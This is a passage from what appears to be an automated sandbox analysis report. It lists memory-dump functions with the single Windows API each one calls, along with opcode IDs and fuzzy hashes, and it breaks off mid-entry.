Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 675cb228dfbe874e9aecab1b2106f009d053136fe55b7aa45a5b126cbe44010c
Instruction ID: 40dd7c116fe49faa82b0b0c2786decd4225c00bc7b35c1bbfb89e6cfdf1e0075
Opcode Fuzzy Hash: 675cb228dfbe874e9aecab1b2106f009d053136fe55b7aa45a5b126cbe44010c
Instruction Fuzzy Hash: 8311A071508380AFDB228F11DC45F62FFB4EF06224F09849AED844B663C275A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0264B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0264B329

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: e9efd79b09514e2c68d62f749c683c473e5adf8e65790f24333411112d2d8e23
Instruction ID: 9d60ccf8529e6ca0ce44e171bfd06e0c15c8541440247baadb07f2cca98f631c
Opcode Fuzzy Hash: e9efd79b09514e2c68d62f749c683c473e5adf8e65790f24333411112d2d8e23
Instruction Fuzzy Hash: 63018B31900700DFEB219F06DC85B62FBA0EF04728F08C49ADD890B612C771E418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027B0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027B01D0

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 4d95a443e9623cdf1832ce3584da2c78322a57d0f05b39349981d75dd868c961
Instruction ID: b6a2fc495739871b5580b90dc10f2ea1b64bfec3e10f2611475eb0bb91b8b66f
Opcode Fuzzy Hash: 4d95a443e9623cdf1832ce3584da2c78322a57d0f05b39349981d75dd868c961
Instruction Fuzzy Hash: DF31346650E3C48FE7138B759C65792BFB4AF43210B0E84DBD884CF1A3D6299809DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027B067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027B072D

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 82d2370e0f9bfae2f8dc3070dcd412fa4761546bc06acd71934a8c846ac8d298
Instruction ID: fbfcc04b29496ad8ef138374cd7307bd65908f8e08eaeb4bce07d9bbb86b2dbb
Opcode Fuzzy Hash: 82d2370e0f9bfae2f8dc3070dcd412fa4761546bc06acd71934a8c846ac8d298
Instruction Fuzzy Hash: FC315071505384AFE722CF65CC45F96FFF8EF05210F09849EE9858B692D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027B0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027B0DD6

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: c5e13ec99cb0ee2abb5f82ff73fadce433cefdaac30a1f27a24f9d8e31dc08a0
Instruction ID: 4803211551ea718fb8b60e9f7e5c68be26bf8770fd6bb122988b5ce958a0cd79
Opcode Fuzzy Hash: c5e13ec99cb0ee2abb5f82ff73fadce433cefdaac30a1f27a24f9d8e31dc08a0
Instruction Fuzzy Hash: DF3195B1509384AFE722DB25DC45B96BFE8DF06314F0884AAE984CF293D375A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 0264AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 0264AFBE

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 2aa53446385e3ae8a5912becbea3a9cd85179806678c8984824a4558c253b4ad
Instruction ID: 52e90b847b543381f74649af1e14f92e2bdb357972b6c4000222e3ee647fd9f5
Opcode Fuzzy Hash: 2aa53446385e3ae8a5912becbea3a9cd85179806678c8984824a4558c253b4ad
Instruction Fuzzy Hash: DF21E4B2509380AFE712CF60DC45B96BFB8EF06320F0884DBE984DB193C625A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 0264BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 0264BDBC

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: fa72f3f2bb127ace1ccc80e1aa68ec059e9e7394444970e94472099d5f315fc0
Instruction ID: b9c5df13cc3789fcc275c20378c6756b515c2ddf89ac5f442cb56c7f019e16a5
Opcode Fuzzy Hash: fa72f3f2bb127ace1ccc80e1aa68ec059e9e7394444970e94472099d5f315fc0
Instruction Fuzzy Hash: B831B172509380AFE722CB60DC55F96BFB8EF06210F08849BF984CB192D625A908C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 027B0FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027B109E

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 5a01df09ef3943ef947b51848409a9effd5184a553c9479dd7c3a45e3b983987
Instruction ID: 0a2e697c9516a6b32751f95dfd75458356f1639ac405eb1437e85f395b568202
Opcode Fuzzy Hash: 5a01df09ef3943ef947b51848409a9effd5184a553c9479dd7c3a45e3b983987
Instruction Fuzzy Hash: 8531617550E3C05FD3138B358C55B56BFB4AF43610F1A81DBD8848F1A3D629A909C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0264B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 0264B0AE

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: f1b288e57584eb287dc57f2b3246287301c200897cb433eb533e87f31c57f92c
Instruction ID: 8026293400e900390c3cbd8fd020ead2b9810bc851714a40f3d93f13b5e43d0f
Opcode Fuzzy Hash: f1b288e57584eb287dc57f2b3246287301c200897cb433eb533e87f31c57f92c
Instruction Fuzzy Hash: CB21A371505380AFE722CF15DC45FA6FFB8EF06624F0884AAF985DB192D664E908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0264A1A8, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0264A23E

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 165383422f3415fa1eff6d889e9fdd48c52c1db79f0bf67da3aaa5e2798c9776
Instruction ID: d54fbe1b899ce63cbdef7890711446294efd9349150727db12411aac28879909
Opcode Fuzzy Hash: 165383422f3415fa1eff6d889e9fdd48c52c1db79f0bf67da3aaa5e2798c9776
Instruction Fuzzy Hash: 6721C77150D3C06FD3128B258C55B66BFB4EF47620F1981DBEC848F193D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 027B0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 027B0819

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: d97b38f07be5dda0d168b754f97767d588da84fd90af582ac52668a458ddaa11
Instruction ID: 54969e07569a7c7286b967c5a30b2c67cc1b4e04e2d834969e9881e01dda50b7
Opcode Fuzzy Hash: d97b38f07be5dda0d168b754f97767d588da84fd90af582ac52668a458ddaa11
Instruction Fuzzy Hash: 6F21D7B6508780AFE713CB159C45FA7BFA8EF46720F1981DBF9848B193D224A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 027B0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027B0502

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 960ed0839274f8671996b95ecaff088be38618595e4642c6fcf31668cb3538dc
Instruction ID: e88bcd3d7534f0a63e92b4828364dc4f833e3b82564137de222a2fc44b720f24
Opcode Fuzzy Hash: 960ed0839274f8671996b95ecaff088be38618595e4642c6fcf31668cb3538dc
Instruction Fuzzy Hash: 13217F7550E3C0AFD3128B358C55B66BFB4EF47610F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027B06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027B072D

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fac070de68c05ae4fb2bcb521698acaf43b0b95f9b57cd3f439a97c07fef1625
Instruction ID: 497b68157620313adb8937111cae93e04c76e03b94546e5c8108bb2852b00c2e
Opcode Fuzzy Hash: fac070de68c05ae4fb2bcb521698acaf43b0b95f9b57cd3f439a97c07fef1625
Instruction Fuzzy Hash: A3218C71500704EFEB21DF65CC85FA6FBE8EF08650F04846AE9899B692D771E904CB72

Uniqueness

Uniqueness Score: -1.00%

Function 027B0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 027B08E5

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 43b507b780359fe3d13fe789f0bc79e23b6e18e0f0081485782a39b20378fd25
Instruction ID: 1c74e82a85f542db154200a6035567ab5e88b53527110cb2a8fccae738cb7fbc
Opcode Fuzzy Hash: 43b507b780359fe3d13fe789f0bc79e23b6e18e0f0081485782a39b20378fd25
Instruction Fuzzy Hash: 90219271409380AFE722CF61DC45F96BFB8EF06314F09849BE9849B193C265A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0264A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0264A94A

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: c168651b041000f6b1a99ccf9798911cf644ca9bed7ac373b6c2d08442826e41
Instruction ID: df36b7a038771a9ec451a52860dbe16a5eafb07e63291bcfe6825d85e8333eac
Opcode Fuzzy Hash: c168651b041000f6b1a99ccf9798911cf644ca9bed7ac373b6c2d08442826e41
Instruction Fuzzy Hash: 9521A77550D780AFD3138B25DC51B62BFB4EF87710F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027B0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027B0DD6

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: bf58f52af66d274dfd887f1d9bc8897bf8e899ed14c45e031a42b689a6a72c9f
Instruction ID: e7348b0dbde5467d898cb2fab0c16ee31677fd3baa70fa5fd78c9cd22cc3426e
Opcode Fuzzy Hash: bf58f52af66d274dfd887f1d9bc8897bf8e899ed14c45e031a42b689a6a72c9f
Instruction Fuzzy Hash: 7F218E71600344AFF721DF25DC85BA7FBD8EF04654F0484AAE948DB282D775E904CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0264BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 0264BDBC

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: b3a0473aa3e55041181cb779c5a8b00433d19a9908d1d4a477b5e994eba24cdb
Instruction ID: 068dc496aefaece6a6d557e77fcca8341ea77c6674641e6e586e9a676c279de4
Opcode Fuzzy Hash: b3a0473aa3e55041181cb779c5a8b00433d19a9908d1d4a477b5e994eba24cdb
Instruction Fuzzy Hash: 53119D72500304EFEB21DF51DC85FAAFBACEF04324F14856AF9459A281DA71E9058BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0264B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 0264B0AE

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: ea7137b18a4cfb8da3eb9b9c8b3078ff0751ef1219683e93a7bd19438336a3c4
Instruction ID: 721d5cf32daf916b41be7e24f9fb79a1b935b131d17dbd33ace3e78f03e7c5aa
Opcode Fuzzy Hash: ea7137b18a4cfb8da3eb9b9c8b3078ff0751ef1219683e93a7bd19438336a3c4
Instruction Fuzzy Hash: 19117F71600340EFEB20DF15DC85FA6FBA8EF04665F14846AE945CB241DA74E9058A71

Uniqueness

Uniqueness Score: -1.00%

Function 027B137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027B13F0

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 43c69d17f47bbb622a72ba22bb21ad79d0879fc8b0d2157a6f774c32e963414a
Instruction ID: 3b006297348e1614c408b6976ea52d5b9e7bc1fa9afd15999eddefe89c1f811c
Opcode Fuzzy Hash: 43c69d17f47bbb622a72ba22bb21ad79d0879fc8b0d2157a6f774c32e963414a
Instruction Fuzzy Hash: C4219F725083809FEB22CF25DC45B96FFB4EF06220F0884AEED858B562D235A448DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027B0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027B0FB0

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 857ad4bdfde4a7367b5137571f56df3f2c98630ef83b5c8f3701fa3f9f3f47bc
Instruction ID: b28cdd737fa387c9771d90603036dcf821d5d83541b4fd9c78e9e82059a6a1ea
Opcode Fuzzy Hash: 857ad4bdfde4a7367b5137571f56df3f2c98630ef83b5c8f3701fa3f9f3f47bc
Instruction Fuzzy Hash: 4F215E7160D3C09FDB138B25DC55B92BFB4AF13214F0D84DAE8888F293D2659408C772

Uniqueness

Uniqueness Score: -1.00%

Function 0264AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0264AB1A

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 938aa66b6c4d054727abc8b4f8ce25077a42cabe50d78db1130ba28b8e171ffc
Instruction ID: 2b229f9479ae4cf76ddef33d3fd686c61b0b0a4713735cbe3a367407e445ff95
Opcode Fuzzy Hash: 938aa66b6c4d054727abc8b4f8ce25077a42cabe50d78db1130ba28b8e171ffc
Instruction Fuzzy Hash: BB216071605380AFD722CF65DC54B52BFA8EF46214F0884AAED89CB252D665E804CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0264BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 0264BB2F

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: 7b837d187e5c4c9aa51f9c078bafd2dc5040f7cb1e230ea741ecbf6be0c35b31
Instruction ID: 31577a02d58afd9bb791c77c9727f962f8d6d919c2cbcf4a69746de422d64c5f
Opcode Fuzzy Hash: 7b837d187e5c4c9aa51f9c078bafd2dc5040f7cb1e230ea741ecbf6be0c35b31
Instruction Fuzzy Hash: BB2192715093C09FDB128B25DC55B92BFA4EF07210F0984DADD858F263D6249908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027B10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027B1148

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: e7fac26d709b6a06d68a2a57c5e2460d551022e683b4ef8dff6c79e32121bbd9
Instruction ID: 4283663f012fbeb4a73b2879e52d0015d1b7a98c18a11c86d2aa7ac193edbef4
Opcode Fuzzy Hash: e7fac26d709b6a06d68a2a57c5e2460d551022e683b4ef8dff6c79e32121bbd9
Instruction Fuzzy Hash: 03214D6550D3C49FD7138B259C64BA2BFB4EF57620F0980DBD8858F2A3D2695808D772

Uniqueness

Uniqueness Score: -1.00%

Function 0264AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 0264AFBE

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: ed8edf5733beaaefd2f2b29eeeed1f472059999795ef2ee9deeceaf202f16eb6
Instruction ID: 3570139074cd94d7c528ebd3fe4344e110b94db5e84f9b7b1e2d8a67a3635ba9
Opcode Fuzzy Hash: ed8edf5733beaaefd2f2b29eeeed1f472059999795ef2ee9deeceaf202f16eb6
Instruction Fuzzy Hash: 8111CE72500300EFEB21DF55DC85BAAFBA8EF44720F14856AFD498B281DA70A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0264BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0264BA7E

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c2ca0d590bd4369f4a31fe0a841cdef673ed8fe8aca04989472ea3fd45005d0
Instruction ID: f20e6c66ca0bdd516b6e2a2c8c3e07c49fff2653b6cb4d3000c3091f5fdf689e
Opcode Fuzzy Hash: 0c2ca0d590bd4369f4a31fe0a841cdef673ed8fe8aca04989472ea3fd45005d0
Instruction Fuzzy Hash: 0D118172508384AFDB22CF65DC45B52FFF4EF05210F08849EEA898B662D375E458DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027B0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 027B08E5

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e4a41e3bec2c4df87223a608a55c91ed8f56f34d24983bfdc723a04376f58741
Instruction ID: f91d1ea06e6925288399e13e3980850e9bd78dd0117ea5fab0eeea95430d650d
Opcode Fuzzy Hash: e4a41e3bec2c4df87223a608a55c91ed8f56f34d24983bfdc723a04376f58741
Instruction Fuzzy Hash: 3A11CE72500300EFFB22DF51DC85FA7FBA8EF18720F14856AED499A251C671A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0264A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0264A39C

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 7ca886d4b9bdaf677c78e272697f8ff802311f2da085659c165c42e3b7c73d0d
Instruction ID: 4b77aaf0a3de1c42689fc8c5f4f5d54b4942be5123be333b13009969caa74469
Opcode Fuzzy Hash: 7ca886d4b9bdaf677c78e272697f8ff802311f2da085659c165c42e3b7c73d0d
Instruction Fuzzy Hash: A7113D715093C4AFE7128B15DC54BA2BFB4DF47614F1880DAEDC58B253D265A808DB72

Uniqueness

Uniqueness Score: -1.00%

Function 027B12D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027B132F

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 1ff92861858eaa64194298e2f3ab075e654d84cf78ccd1be90935b11fe9dd2f8
Instruction ID: 7d6d5e088e94db4fd3abeccb9cc5ad340b40e6e54c31d45593e8c8f741aac397
Opcode Fuzzy Hash: 1ff92861858eaa64194298e2f3ab075e654d84cf78ccd1be90935b11fe9dd2f8
Instruction Fuzzy Hash: 461191715093849FDB128F25DC55B96FFA4EF06220F0984EEED898B252D275A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027B05E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027B0640

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 626a557c97cbf66761ae8436d4c29af065c92d97c5282b97552e2c91125409e6
Instruction ID: 17f6b168cb7cb88603010570605f841aaabe56bc7af7c003d28cd085ca0edee1
Opcode Fuzzy Hash: 626a557c97cbf66761ae8436d4c29af065c92d97c5282b97552e2c91125409e6
Instruction Fuzzy Hash: 9411C6755093C09FD7128B25DC55B92FFB4DF52224F0880DBED858B653D275A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0264AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0264AB1A

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 278d246cc8db46ed9b451082204dae0dd85fdce3157eee59dd4c7c696f8bb965
Instruction ID: d23684f3676cf123165b16de0367d128c96bace345778c234c7aa0f9748f38ac
Opcode Fuzzy Hash: 278d246cc8db46ed9b451082204dae0dd85fdce3157eee59dd4c7c696f8bb965
Instruction Fuzzy Hash: 33117CB16003009FEB20DF65DC85B66FBD8EB04220F08846AED89CB742DA70E804CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0264AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0264AA71

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 99c4d1a6c082463d0cfb8633352db2e36a23a4132a980444e8a9817c58cb4adb
Instruction ID: cc505436c96de977383a5d5725d1d6350813beaea69a4c866b77dab1c022d950
Opcode Fuzzy Hash: 99c4d1a6c082463d0cfb8633352db2e36a23a4132a980444e8a9817c58cb4adb
Instruction Fuzzy Hash: 2911C1754097C09FD7128B11DC85B91BFA4EF13220F0980DBDD848F2A3D269A909C772

Uniqueness

Uniqueness Score: -1.00%

Function 027B092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027B099C

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: b7c10dbd64b9f4e703d0b9296ae205502fd3ff7319e789511c1cfd8f677af641
Instruction ID: 7a24b599fc6c94c6e46b4c990299b55b5a0fdbbc2dde53ef3df14a0c223560bf
Opcode Fuzzy Hash: b7c10dbd64b9f4e703d0b9296ae205502fd3ff7319e789511c1cfd8f677af641
Instruction Fuzzy Hash: BF119D715093C09FE7238B25DC55B92FFA4EF07324F0980DAE9844B263C265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027B07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,154DD80C,00000000,00000000,00000000,00000000), ref: 027B0819

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 904e3a0e79e274f62ee63ea5fb3b92f79d36d4cce3078a3bd9136a5ddd04ca7a
Instruction ID: bef25cb7beb654442a074c9b8ff1ff98a5df56c7e7aa9cc0860b556bb3dac342
Opcode Fuzzy Hash: 904e3a0e79e274f62ee63ea5fb3b92f79d36d4cce3078a3bd9136a5ddd04ca7a
Instruction Fuzzy Hash: 79018071500704EFFB219F15DC86BA7FB98DF44720F1480A6ED099B281D674AA04CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 027B13AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027B13F0

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: bf7c5e5f0956176edeec5314e9dfede5ff6091475ba26a8cd9df0ede91d40107
Instruction ID: fc9758715f218015a78cf7c5c1af00c73b22ba446f6034cc26738ddd2d21534b
Opcode Fuzzy Hash: bf7c5e5f0956176edeec5314e9dfede5ff6091475ba26a8cd9df0ede91d40107
Instruction Fuzzy Hash: C2118B76600700DFEB21DF56EC85BA6FBA4EF04220F0884AAED498B652D371E408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0264AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0264ABC9

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: ed1236025076c5973742117bbc79851e525b143517314459cd187f63cf8f61ed
Instruction ID: 499143c7de7baf40939c71efa4fede7640737cea96843ec0f7bb992aea8b6812
Opcode Fuzzy Hash: ed1236025076c5973742117bbc79851e525b143517314459cd187f63cf8f61ed
